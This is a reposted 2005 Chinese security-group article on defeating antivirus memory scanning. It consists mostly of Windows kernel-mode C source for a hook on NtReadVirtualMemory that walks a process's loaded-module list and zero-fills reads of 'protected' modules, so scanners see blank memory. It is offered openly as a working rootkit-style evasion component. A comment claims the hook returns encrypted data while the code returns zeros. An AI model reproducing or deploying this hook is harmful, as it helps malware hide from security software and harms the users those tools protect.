zoukankan      html  css  js  c++  java
  • 对抗杀毒软件的内存扫描

    Author:  Polymorphours
    Email:   Polymorphours@whitecell.org
    Homepage:http://www.whitecell.org 
    Date:    2005-11-17

    
    /*++
            Author: Polymorphours
    	
    	Date: 2005/1/10
    
    	通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,
    	如果发现其他进程读被保护模块的内存,则返回0
    
    --*/
    
    
    typedef struct _LDR_DATA_TABLE_ENTRY {
    	
    	LIST_ENTRY InLoadOrderLinks;
    	LIST_ENTRY InMemoryOrderLinks;
    	LIST_ENTRY InInitializationOrderLinks;
    	PVOID DllBase;
    	PVOID EntryPoint;
    	ULONG SizeOfImage;
    	UNICODE_STRING FullDllName;
    	UNICODE_STRING BaseDllName;
    	
    	
    	/*
    	+0x034 Flags            : Uint4B
    	+0x038 LoadCount        : Uint2B
    	+0x03a TlsIndex         : Uint2B
    	+0x03c HashLinks        : _LIST_ENTRY
    	+0x03c SectionPointer   : Ptr32 Void
    	+0x040 CheckSum         : Uint4B
    	+0x044 TimeDateStamp    : Uint4B
    	+0x044 LoadedImports    : Ptr32 Void
    	+0x048 EntryPointActivationContext : Ptr32 Void
    	+0x04c PatchInformation : Ptr32 Void	
    	*/
    } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
    
    /*++
    
    	函数名: MyNtReadVirtualMemory
    	
    	参数:
    		IN	HANDLE	ProcessHandle,
    		IN	PVOID	BaseAddress,
    		OUT	PVOID	Buffer,
    		IN	ULONG	BufferLength,
    		OUT	PULONG	ReturnLength	OPTIONAL
    		
    	功能:
    		隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程
    		
    	返回:
    		NTSTATUS
    		
    --*/
    
    
    NTSTATUS
    MyNtReadVirtualMemory(
    	IN	HANDLE	ProcessHandle,
    	IN	PVOID	BaseAddress,
    	OUT	PVOID	Buffer,
    	IN	ULONG	BufferLength,
    	OUT	PULONG	ReturnLength	OPTIONAL
    	)
    {
    	NTSTATUS	status;
    	PEPROCESS	eProcess;
    	PVOID		Peb;
    	
    	PPEB_LDR_DATA	PebLdrData;
    	PLDR_DATA_TABLE_ENTRY	LdrDataTableHeadList;
    	PLDR_DATA_TABLE_ENTRY	LdrDataTableEntry;
    	
    	PLIST_ENTRY			Blink;
    	PPROTECT_NODE		FileNode = NULL;
    	BOOLEAN				bHideFlag = FALSE;
    	ULONG				ImageMaxAddress = 0;
    
    /*
    #ifdef _DEBUG
    	DbgPrint( "Call Process: %s, BaseAddress: %08x
    ", PsGetProcessImageFileName( PsGetCurrentProcess() ), BaseAddress );
    #endif
    */
    
    	status =ObReferenceObjectByHandle(
    				ProcessHandle,
    				FILE_READ_DATA,
    				PsProcessType,
    				KernelMode,
    				(PVOID)&eProcess,
    				NULL
    				);
    	if ( NT_SUCCESS(status) ) {
    		
    		//
    		// 得到PEB的地址
    		//
    		
    		Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));
    		
    		//
    		// 切换到目标进程空间
    		//
    		
    		
    		KeAttachProcess( eProcess );
    		
    		//
    		// 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块
    		//
    
    		if ( !MmIsAddressValid( Peb ) ) {
    
    /*
    #ifdef _DEBUG
    			DbgPrint( "PEB is error.
    " );
    #endif
    */
    			
    			KeDetachProcess();
    			ObDereferenceObject( eProcess );
    			
    			goto CLEANUP;
    		}
    		
    		PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));
    		
    		if ( !PebLdrData ) {
    			
    			KeDetachProcess();
    			ObDereferenceObject( eProcess );
    			
    			goto CLEANUP;
    		}
    		
    		try {
    			
    			ProbeForRead ( 
    				PebLdrData,
    				sizeof(PEB_LDR_DATA),
    				sizeof(ULONG)
    				);
    				
    			//
    			// 遍历模块链表
    			//
    			
    			LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData->InLoadOrderModuleList.Flink;
    			LdrDataTableEntry = LdrDataTableHeadList;
    			
    			
    			do {
    				
    				ProbeForRead(
    					LdrDataTableEntry,
    					sizeof(LDR_DATA_TABLE_ENTRY),
    					sizeof(ULONG)
    					);
    					
    				if ( !LdrDataTableEntry->DllBase ) {
    
    					LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
    					continue;	
    				}
    
    				
    				//
    				// 判断读的内存属于那一个模块,如果都不属于,那么放过
    				//
    
    				ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase + LdrDataTableEntry->SizeOfImage);
    				
    				if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < (ULONG)LdrDataTableEntry->DllBase ||
    					 (ULONG)BaseAddress > ImageMaxAddress ) {
    
    					 //
    					 // 如果不是读模块区域,那么枚举下一个
    					 //	
    
    					LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
    					continue;	
    				}
    				
    				//
    				// 如果是被保护的模块,那么返回虚假数据
    				//
    
    				bHideFlag = FALSE;
    				Blink = ProtectFile.Blink;
    				
    
    				while ( Blink != &ProtectFile ) {
    
    					FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );
    					
    					//
    					// 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它
    					//
    
    					if ( wcsstr( FileNode->ProtectName, LdrDataTableEntry->FullDllName.Buffer ) ) {
    
    						bHideFlag = TRUE;
    						break;
    					}
    
    					Blink = Blink->Blink;
    				}
    				
    				if ( bHideFlag ) {
    					
    					//
    					// 返回原本的进程空间进行处理
    					//
    
    					KeDetachProcess();
    					ObDereferenceObject( eProcess );
    
    					ProbeForWrite(
    						Buffer,
    						BufferLength,
    						sizeof(ULONG)
    						);
    						
    					memset( Buffer, 0x00, BufferLength );
    					
    					ProbeForWrite(
    						ReturnLength,
    						sizeof(PULONG),
    						sizeof(ULONG)
    						);
    					
    					*ReturnLength = BufferLength;
    					
    					return STATUS_SUCCESS;
    				}
    			
    				LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
    				
    			} while ( LdrDataTableEntry != LdrDataTableHeadList );
    			
    
    		} except( EXCEPTION_EXECUTE_HANDLER ) {
    
    			if ( !bHideFlag ) {
    				
    				KeDetachProcess();
    				ObDereferenceObject( eProcess );
    			}
    
    			goto CLEANUP;
    		}
    
    
    		KeDetachProcess();
    		ObDereferenceObject( eProcess );
    	}
    	
    CLEANUP:
    
    	return NtReadVirtualMemory(
    			ProcessHandle,
    			BaseAddress,
    			Buffer,
    			BufferLength,
    			ReturnLength
    			);
    }



    WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
    WSS 主页:http://www.whitecell.org/ 
    WSS 论坛:http://www.whitecell.org/forums/

  • 相关阅读:
    JDK Base64编解码1.7和1.8的坑
    nacos部署注意点
    详解CurrentHashMap之预习篇
    SpringBoot爬坑系列
    开发之缓存与数据库优化
    jreble备注
    Unable to open debugger port (127.0.0.1:55119): java.net.SocketException "Socket closed"
    ConcurrentHashMap源码分析
    为什么要先高16位异或低16位再取模运算
    HashMap(三)之源码分析
  • 原文地址:https://www.cnblogs.com/huhu0013/p/3312214.html
Copyright © 2011-2022 走看看